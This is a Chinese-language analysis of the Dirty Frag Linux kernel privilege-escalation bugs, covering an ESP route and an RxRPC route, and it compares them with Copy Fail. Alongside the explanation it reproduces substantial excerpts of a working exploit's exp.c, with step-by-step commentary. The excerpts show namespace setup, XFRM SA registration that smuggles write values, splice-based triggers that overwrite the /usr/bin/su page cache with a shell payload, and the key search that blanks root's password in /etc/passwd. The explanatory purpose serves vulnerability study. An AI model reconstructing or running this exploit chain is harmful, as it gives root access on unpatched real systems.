参考仓库:V4bel/dirtyfrag
理解 Dirty Frag 最省力的方法只有一句话:它不是完全不同的新洞,而是同一家族换了一条进门路线。Copy Fail 是把只读文件的内存页送进 AF_ALG 加密接口后被误写;Dirty Frag 是把同样的页送进网络包的 skb->frag,然后在接收侧做原地解密时被误写。两者最后都把 page cache 写脏了,但入口不一样,所以很多只盯着 AF_ALG 的老思路,到了 Dirty Frag 这里就不够用了。

如果再说得更白一点,可以把 page cache 想成文件在内存里的那份缓存稿。程序以后读文件、执行文件,很多时候先碰到的是这份缓存稿,不一定立刻去磁盘上重新拿。于是问题就来了:只要有人把这份缓存稿改了,哪怕磁盘上的原文件没动,系统接下来看到的内容也已经不是原来的样子了。
几个必须先讲明白的词,其实都不难:
| 词 | 通俗解释 |
|---|---|
| page cache | 文件在内存里的缓存副本 |
| splice() | 尽量不复制内容,而是直接把这几页内存的引用往后传 |
| skb | Linux 里的网络包对象 |
| skb->frag | 挂在网络包外面的那几页真实内存 |
| COW | 写之前先拷一份,避免直接改共享页 |
| in-place crypto | 输入和输出用的是同一块内存,边处理边改 |
看懂这几个词以后,Dirty Frag 的核心就很好懂了:只读文件页被 splice() 带进网络包,挂到了 skb->frag 上;后面的协议代码本来应该先做一次 COW,把共享页拷成自己的副本,再去原地解密;但漏洞路径里这一步漏掉了,于是协议栈直接在原来的文件页上写字,最后把 page cache 写脏了。
这正是它和 Copy Fail 最关键的差别。Copy Fail 主要盯的是 AF_ALG 这条用户态加密接口,Dirty Frag 盯的是网络协议栈。Copy Fail 更像把纸交给加密接口,接口整理材料时顺手在纸边上写了一笔;Dirty Frag 更像把纸夹进网络包,拆包的人把这张纸当成自己的草稿直接改了。同样是纸被写脏,办公桌已经换了。
Dirty Frag 不是只有一条路线。它包含 ESP 和 RxRPC 两个问题:ESP 路线对应 CVE-2026-43284,RxRPC 路线对应 CVE-2026-43500。它们共享同一个大思路:先把只读文件页塞进 skb->frag,再让接收侧协议代码在这页上做原地处理;不同的是,ESP 那条路写得更直接,RxRPC 那条路写入结果要先经过一次解密运算,所以更像按规则拼字。

下面剖析的代码片段都摘自参考仓库中的 exp.c,只做了节选,函数名和关键逻辑保持原样。整份 exp.c 的入口是 main()。这个入口函数本身不直接做 page cache 写入,它更像一个调度器:先看命令行参数,再决定调用 ESP 路线还是 RxRPC 路线。
main() 开头先把两个开关置为 0,然后扫描 argv。如果出现 –force-esp,就把 force_esp 置为 1;如果出现 –force-rxrpc,就把 force_rxrpc 置为 1。这里的 force 不是漏洞触发点,只是选择路线的开关。
int force_esp = 0, force_rxrpc = 0;
for (int i = 1; i < argc; i++) {
if (!strcmp(argv[i], "--force-esp"))
force_esp = 1;
else if (!strcmp(argv[i], "--force-rxrpc"))
force_rxrpc = 1;
}
后面真正分流时,第一种情况是强制走 RxRPC。代码直接调用 rxrpc_lpe_main(),随后最多再重复 3 次。重复的判断条件是 passwd_already_patched(),意思是检查 /etc/passwd 的缓存页是否已经变成目标状态;只要还没成功,就继续尝试 RxRPC 路线。
if (force_rxrpc) {
rc = rxrpc_lpe_main(new_argc, co_argv);
for (int i = 0; !passwd_already_patched() && i < 3; i++)
rc = rxrpc_lpe_main(new_argc, co_argv);
}
第二种情况是强制走 ESP。这里没有再尝试 RxRPC,而是只调用 su_lpe_main()。su_lpe_main() 背后对应的就是改 /usr/bin/su 缓存页的那条链。
else if (force_esp) {
rc = su_lpe_main(new_argc, co_argv);
}
第三种情况是默认路线,也就是不传 force 参数时的普通流程。代码先调用 su_lpe_main() 尝试 ESP,如果 su_already_patched() 判断 /usr/bin/su 没有被成功污染,再切到 rxrpc_lpe_main()。RxRPC 这边同样会根据 passwd_already_patched() 最多补试 3 次。
else {
rc = su_lpe_main(new_argc, co_argv);
if (!su_already_patched()) {
rc = rxrpc_lpe_main(new_argc, co_argv);
for (int i = 0; !passwd_already_patched() && i < 3; i++)
rc = rxrpc_lpe_main(new_argc, co_argv);
}
}
把这三段合起来看,exp.c 的调用方法就很清楚了:–force-esp 只走 ESP,–force-rxrpc 只走 RxRPC,不带 force 参数时先走 ESP,失败后再走 RxRPC。仓库把两个 CVE 放进同一个 exp.c,也是因为这两条路线可以互相补位。后面的代码剖析就按这个调用顺序展开:先看 su_lpe_main() 背后的 ESP 链,再看 rxrpc_lpe_main() 背后的 RxRPC 链。
ESP 这条路线在 exp.c 里主要由四个函数串起来:setup_userns_netns() 负责准备一个能配置本机 ESP 规则的小网络环境;add_xfrm_sa() 负责把一次要写入的 4 字节放进 ESP 规则;do_one_write() 负责把目标文件页送进 socket;corrupt_su() 负责循环调用前面的函数,把 192 字节拆成 48 次写入。
先看几个常量,代码一开始就把目标写得很直白:
#define TARGET_PATH "/usr/bin/su"
#define PATCH_OFFSET 0
#define PAYLOAD_LEN 192
#define ENTRY_OFFSET 0x78
TARGET_PATH 说明 ESP 路线的目标是 /usr/bin/su。PATCH_OFFSET 为 0,表示从文件开头开始改。PAYLOAD_LEN 是 192,也就是准备写进去的内容总长度。后面每次只能稳定处理 4 字节,所以 192 字节会被拆成 48 次。
setup_userns_netns() 的作用是先搭一个隔离出来的小环境。普通用户通常没有直接配置 XFRM / ESP 的权限,所以代码先创建新的 user namespace 和 network namespace,再把当前用户映射成这个小环境里的 0 号用户,最后把 loopback 网卡拉起来:
if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) {
exit(1);
}
write_proc("/proc/self/setgroups", "deny");
snprintf(map, sizeof(map), "0 %u 1", real_uid);
write_proc("/proc/self/uid_map", map);
snprintf(map, sizeof(map), "0 %u 1", real_gid);
write_proc("/proc/self/gid_map", map);
strncpy(ifr.ifr_name, "lo", IFNAMSIZ);
ifr.ifr_flags |= IFF_UP | IFF_RUNNING;
ioctl(s, SIOCSIFFLAGS, &ifr);
这段代码不是最终的写入点,但它是 ESP 路线能跑起来的前置条件。数据包仍然只在本机 127.0.0.1 上流动,关键是程序在这个小网络环境里获得了注册 ESP 规则的能力。
真正把 4 字节写入值挂进 ESP 规则的是 add_xfrm_sa(spi, patch_seqhi)。这里的 spi 可以理解为本次 ESP 规则的编号,patch_seqhi 则是稍后希望落到文件缓存页上的 4 字节:
xs->id.daddr.a4 = inet_addr("127.0.0.1");
xs->id.spi = htonl(spi);
xs->id.proto = IPPROTO_ESP;
xs->saddr.a4 = inet_addr("127.0.0.1");
xs->family = AF_INET;
xs->mode = XFRM_MODE_TRANSPORT;
xs->flags = XFRM_STATE_ESN;
这几行是在注册一条 ESP SA,也就是一条安全关联规则。daddr 和 saddr 都是 127.0.0.1,说明这条规则只服务于本机回环流量。XFRM_STATE_ESN 很关键,因为后面漏洞利用到的写入值就藏在 ESN 的高 32 位里。
struct xfrm_replay_state_esn *esn =
(struct xfrm_replay_state_esn *)esn_buf;
esn->bmp_len = 1;
esn->seq = REPLAY_SEQ;
esn->seq_hi = patch_seqhi;
esn->replay_window = 32;
put_attr(nlh, XFRMA_REPLAY_ESN_VAL, esn_buf, sizeof(esn_buf));
这段更关键。seq_hi 被设置成 patch_seqhi,后面内核处理 ESP + ESN 的时候,会把这 4 字节搬到输出散列表的某个位置。正常情况下这只是协议内部整理数据;但 Dirty Frag 把只读文件页塞进了这个输出位置,于是这 4 字节就写到了 page cache 上。
接下来是 do_one_write()。这个函数把伪造 ESP 包头和目标文件页拼到一起,再通过 socket 送进网络栈:
int file_fd = open(path, O_RDONLY);
pipe(pfd);
uint8_t hdr[24];
*(uint32_t*)(hdr + 0) = htonl(spi);
*(uint32_t*)(hdr + 4) = htonl(SEQ_VAL);
memset(hdr + 8, 0xCC, 16);
文件是 O_RDONLY 只读打开的,这一点非常重要。正常直觉里,只读打开不该造成写入效果。hdr 是伪造出来的 ESP 头部,前 4 字节放 spi,后面放序号和 IV。spi 会让内核找到前面 add_xfrm_sa() 注册的那条规则,也就能间接找到 seq_hi 里的 4 字节写入值。
vmsplice(pfd[1], &iov_h, 1, 0);
splice(file_fd, &off, pfd[1], NULL, 16, SPLICE_F_MOVE);
splice(pfd[0], NULL, sk_send, NULL, 24 + 16, SPLICE_F_MOVE);
这三行是 ESP 路线最核心的用户态动作。第一行把伪造包头塞进 pipe;第二行把 /usr/bin/su 对应偏移处的 16 字节接到 pipe 后面;第三行再把 pipe 里的内容送进 UDP socket。因为 splice() 尽量传页引用,所以目标文件页会以 skb->frag 的形式进入网络包,而不是变成一份完全独立的新拷贝。
corrupt_su() 把单次 4 字节写入扩展成完整的 192 字节覆盖。第一轮循环先注册 48 条 ESP SA,每条 SA 的 seq_hi 都不同:
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
uint32_t seqhi =
((uint32_t)shell_elf[i*4 + 0] << 24) |
((uint32_t)shell_elf[i*4 + 1] << 16) |
((uint32_t)shell_elf[i*4 + 2] << 8) |
((uint32_t)shell_elf[i*4 + 3]);
add_xfrm_sa(spi, seqhi);
}
这里的 shell_elf 是准备写到 /usr/bin/su 缓存页开头的 192 字节内容。代码每 4 字节取一组,拼成 seqhi,再用不同的 spi 注册到不同 SA 上。这样,后面只要发带着对应 spi 的包,内核就会把这一组 4 字节搬到对应位置。
第二轮循环才真正触发写入,每次换一个 offset,连续覆盖 /usr/bin/su 的 page cache 开头:
for (int i = 0; i < PAYLOAD_LEN / 4; i++) {
uint32_t spi = 0xDEADBE10 + i;
off_t off = PATCH_OFFSET + i * 4;
do_one_write(TARGET_PATH, off, spi);
}
这两轮循环合在一起,就是 ESP 路线的执行逻辑:先把每 4 字节写入值挂到一条规则上,再按文件偏移逐段把 /usr/bin/su 的缓存页送进网络栈。漏洞点让接收侧跳过了该有的复制步骤,于是这些 4 字节就陆续落在同一份 page cache 上。
那么为什么会被当成可写工作区?问题出在 esp_input() 的判断分支:后面即将做原地解密,本来应该先调用 skb_cow_data() 复制共享页,但下面这个分支在某些情况下直接跳到了 skip_cow:
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) {
goto skip_cow;
} else if (!skb_has_frag_list(skb)) {
goto skip_cow;
}
}
err = skb_cow_data(skb, 0, &trailer);
skip_cow:
aead_request_set_crypt(req, sg, sg, ...);
这段代码的白话翻译就是:后面明明要做原地解密,按理说该先拷一份,但这个分支直接说先不拷,继续干。如果这时 sg 里挂着的正好是从只读文件那里带来的页,后面的继续干就等于直接在文件缓存页上写了。
为了让读者不把两条路线混掉,还可以直接对照看一眼:
| 对比点 | Copy Fail | Dirty Frag |
|---|---|---|
| 入口 | AF_ALG | 网络协议栈 / socket |
| 文件页最后挂在哪 | AEAD 请求里的散列表 | skb->frag |
| 出错时机 | AEAD 处理尾部时误写 | 接收侧原地解密时误写 |
| 经典缓解思路 | 限制 algif_aead 有帮助 | 不够,因为它根本不走 AF_ALG |
| 路线数量 | 主要盯一条 | ESP 和 RxRPC 两条互补 |
如果说 ESP 这条路像直接下笔写 4 个字节,那 RxRPC 更像先挑一把钥匙,再看解出来的 8 个字节是否符合目标格式。这也是为什么 exp.c 里的 build_rxrpc_v1_token() 和 find_K_offline_generic() 值得单独看:
static int build_rxrpc_v1_token(uint8_t *out, size_t maxlen)
{
...
*(uint32_t *)p = htonl(1); p += 4;
uint8_t *toklen_p = p; p += 4;
uint8_t *tokstart = p;
*(uint32_t *)p = htonl(2); p += 4;
*(uint32_t *)p = htonl(0); p += 4;
*(uint32_t *)p = htonl(1); p += 4;
memcpy(p, SESSION_KEY, 8); p += 8;
...
}
这段代码在构造 RxRPC v1 token。sec_ix 为 2,表示使用 RXKAD;SESSION_KEY 被写进 token,后面内核校验 RxRPC 数据包时会拿它做 fcrypt 解密。也就是说,RxRPC 路线的写入内容不是直接塞进包里的,而是由目标位置原来的 8 字节和 SESSION_KEY 一起算出来。
for (uint64_t iter = 0; iter < max_iters; iter++) {
uint64_t r = fc_splitmix64(&seed);
memcpy(K, &r, 8);
fcrypt_user_setkey(&ctx, K);
fcrypt_user_decrypt(&ctx, P, C);
if (check(P)) {
memcpy(K_out, K, 8);
memcpy(P_out, P, 8);
return 0;
}
}
find_K_offline_generic() 做的事情就是在用户态试 key。C 是目标文件当前位置原来的 8 字节,K 是候选 SESSION_KEY,P 是 fcrypt 解密后的结果。check(P) 判断结果是否满足目标格式。满足后,代码把 K 和 P 保存下来,后面再把这把 K 放进 SESSION_KEY,触发一次内核路径。
RxRPC 路线的目标是 /etc/passwd 的第一行,也就是 root 那一行。代码先只读打开文件,再 mmap 第一页,让这一页留在 page cache 里:
const char *target_path = getenv("POC_TARGET_FILE");
if (!target_path || !*target_path) target_path = "/etc/passwd";
int rfd_ro = open(target_path, O_RDONLY);
void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0);
后面不是一次性修改整行,而是读出偏移 4、6、8 这三个位置的 8 字节,分别算三把 key:
uint8_t Ca[8], Cb[8], Cc[8];
int off_a = 4, off_b = 6, off_c = 8;
pread(rfd_ro, Ca, 8, off_a);
pread(rfd_ro, Cb, 8, off_b);
pread(rfd_ro, Cc, 8, off_c);
这三个偏移会互相覆盖。第一次写 4..11,第二次写 6..13,第三次写 8..15。最后留下来的结果不是三次简单相加,而是后写覆盖前写。代码里也按这个顺序更新中间状态:
find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok,
Ka, Pa_out, seed_base, "K_A");
memcpy(Cb_actual, Pa_out + 2, 6);
memcpy(Cb_actual + 6, Cb + 6, 2);
find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok,
Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL, "K_B");
memcpy(Cc_actual, Pb_out + 2, 6);
memcpy(Cc_actual + 6, Cc + 6, 2);
find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok,
Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL, "K_C");
这段代码说明 RxRPC 路线并不是盲目重复触发三次。第二次要考虑第一次已经写过的结果,第三次要考虑第二次已经写过的结果。最终目标是把 root 行前半段拼成空密码字段可以接受的形状。
do_one_trigger() 继续重复了那个最重要的动作:把只读文件页接到 pipe 后面,再发进 socket。
pipe(p);
vmsplice(p[1], &viv, 1, 0);
splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK);
splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0);
recvmsg(rxsk_cli, &m, 0);
这几行和 ESP 的 do_one_write() 很像:先把伪造的 RxRPC DATA 头放进 pipe,再把 /etc/passwd 的某 8 字节接到 pipe 后面,最后发给 UDP socket。recvmsg() 会把这个包推进 RxRPC 的接收和校验流程,rxkad_verify_packet_1() 随后对这 8 字节做原地解密。由于这 8 字节来自 page cache,解密结果就落回了 /etc/passwd 的缓存页。
真正触发时,代码按 A、B、C 三个阶段依次替换 SESSION_KEY,再分别触发偏移 4、6、8:
memcpy(SESSION_KEY, Ka, 8);
do_one_trigger(rfd_ro, off_a, 8);
memcpy(SESSION_KEY, Kb, 8);
do_one_trigger(rfd_ro, off_b, 8);
memcpy(SESSION_KEY, Kc, 8);
do_one_trigger(rfd_ro, off_c, 8);
这就是 RxRPC 路线的完整闭环:先根据当前文件内容算出能得到目标格式的 key,再把文件页送进接收侧校验路径,让内核把计算结果写回那一页。ESP 是直接把 4 字节值挂进 seq_hi,RxRPC 是先算 key 再借解密结果写 8 字节,两条路的表面动作不同,但核心都是让只读文件页进入了原地写路径。

最后再把整条链收束一下。Dirty Frag 不是单纯某个函数写错了几个字节,而是几个正常机制叠在一起后,边界判断出了问题。splice() 为了减少复制,把只读文件页引用传给网络栈;网络协议代码为了性能做原地处理;中间本该出现一次 COW,把共享页复制成私有页,但漏洞路径没有完成这一步。结果就是,接收侧代码以为自己在改普通网络缓冲区,实际改到的是文件的 page cache。
它和 Copy Fail 的差别也可以落回这条主线。Copy Fail 主要是只读文件页进入 AF_ALG 加密接口,在 AEAD 处理里被写脏;Dirty Frag 则是只读文件页进入 skb->frag,在网络协议栈的接收侧被写脏。前者的问题入口是用户态加密接口,后者的问题入口是网络包分片页。两者属于同一类 page cache 污染问题,但 Dirty Frag 走的是另一条更靠近协议栈的路径,因此不能只用 Copy Fail 那套 AF_ALG 视角去理解。









